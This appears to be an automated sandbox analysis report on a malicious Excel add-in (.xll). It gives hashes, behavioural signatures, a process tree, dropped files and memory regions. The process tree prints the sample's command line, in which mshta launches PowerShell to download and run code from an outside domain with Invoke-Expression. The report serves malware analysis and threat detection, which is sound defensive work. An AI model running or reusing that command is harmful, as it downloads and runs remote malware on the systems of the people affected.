Analysis

  • max time kernel
    148s
  • max time network
    159s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22/05/2024, 18:13

General

  • Target

    a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219.xll

  • Size

    12KB

  • MD5

    a3c93d730f69e010971752e8a92e8f6d

  • SHA1

    0803fed0b9ef059ba19e5ea489542c88eed1112f

  • SHA256

    a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219

  • SHA512

    eae2f27d9446451b17f7f89312ff2aa958a11298273437cee2f3cbb1d4db182743e7d8151097b0f7a73fd2aedd936e47df41372d731733ee7207a6587eac16c5

  • SSDEEP

    192:QL29RBzDzeobchBj8JON4ON8UrumrEPEjr7Ahz:+29jnbcvYJO5fumvr7Cz

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1908

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR1DMZ2N\d[1].htm

          Filesize

          2KB

          MD5

          f754844cfb65838d1dd6b19dde5d835c

          SHA1

          b3eb677783adc88c8d048898449e04d49f416db6

          SHA256

          3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

          SHA512

          f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vaqrjacl.eoj.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219.xll

          Filesize

          12KB

          MD5

          a3c93d730f69e010971752e8a92e8f6d

          SHA1

          0803fed0b9ef059ba19e5ea489542c88eed1112f

          SHA256

          a119e549fa3a1b4aa04c30e6f8eb52d2212cb4640fcff059c1e5b28d59731219

          SHA512

          eae2f27d9446451b17f7f89312ff2aa958a11298273437cee2f3cbb1d4db182743e7d8151097b0f7a73fd2aedd936e47df41372d731733ee7207a6587eac16c5

        • memory/1908-58-0x00000000066F0000-0x000000000673C000-memory.dmp

          Filesize

          304KB

        • memory/1908-59-0x0000000007F10000-0x000000000858A000-memory.dmp

          Filesize

          6.5MB

        • memory/1908-60-0x0000000006BD0000-0x0000000006BEA000-memory.dmp

          Filesize

          104KB

        • memory/1908-57-0x00000000066B0000-0x00000000066CE000-memory.dmp

          Filesize

          120KB

        • memory/1908-56-0x0000000006240000-0x0000000006597000-memory.dmp

          Filesize

          3.3MB

        • memory/1908-44-0x00000000059C0000-0x0000000005FEA000-memory.dmp

          Filesize

          6.2MB

        • memory/1908-47-0x00000000061D0000-0x0000000006236000-memory.dmp

          Filesize

          408KB

        • memory/1908-46-0x0000000006160000-0x00000000061C6000-memory.dmp

          Filesize

          408KB

        • memory/1908-45-0x0000000005830000-0x0000000005852000-memory.dmp

          Filesize

          136KB

        • memory/1908-43-0x0000000005220000-0x0000000005256000-memory.dmp

          Filesize

          216KB

        • memory/2880-84-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-87-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-9-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-13-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-7-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-6-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-19-0x00007FFE4AF20000-0x00007FFE4AF30000-memory.dmp

          Filesize

          64KB

        • memory/2880-4-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-5-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-15-0x00007FFE4AF20000-0x00007FFE4AF30000-memory.dmp

          Filesize

          64KB

        • memory/2880-10-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-2-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-17-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-16-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-12-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-11-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-8-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-0-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-3-0x00007FFE8D6E3000-0x00007FFE8D6E4000-memory.dmp

          Filesize

          4KB

        • memory/2880-1-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-67-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-68-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-14-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-85-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-18-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB

        • memory/2880-86-0x00007FFE4D6D0000-0x00007FFE4D6E0000-memory.dmp

          Filesize

          64KB

        • memory/2880-88-0x00007FFE8D640000-0x00007FFE8D849000-memory.dmp

          Filesize

          2.0MB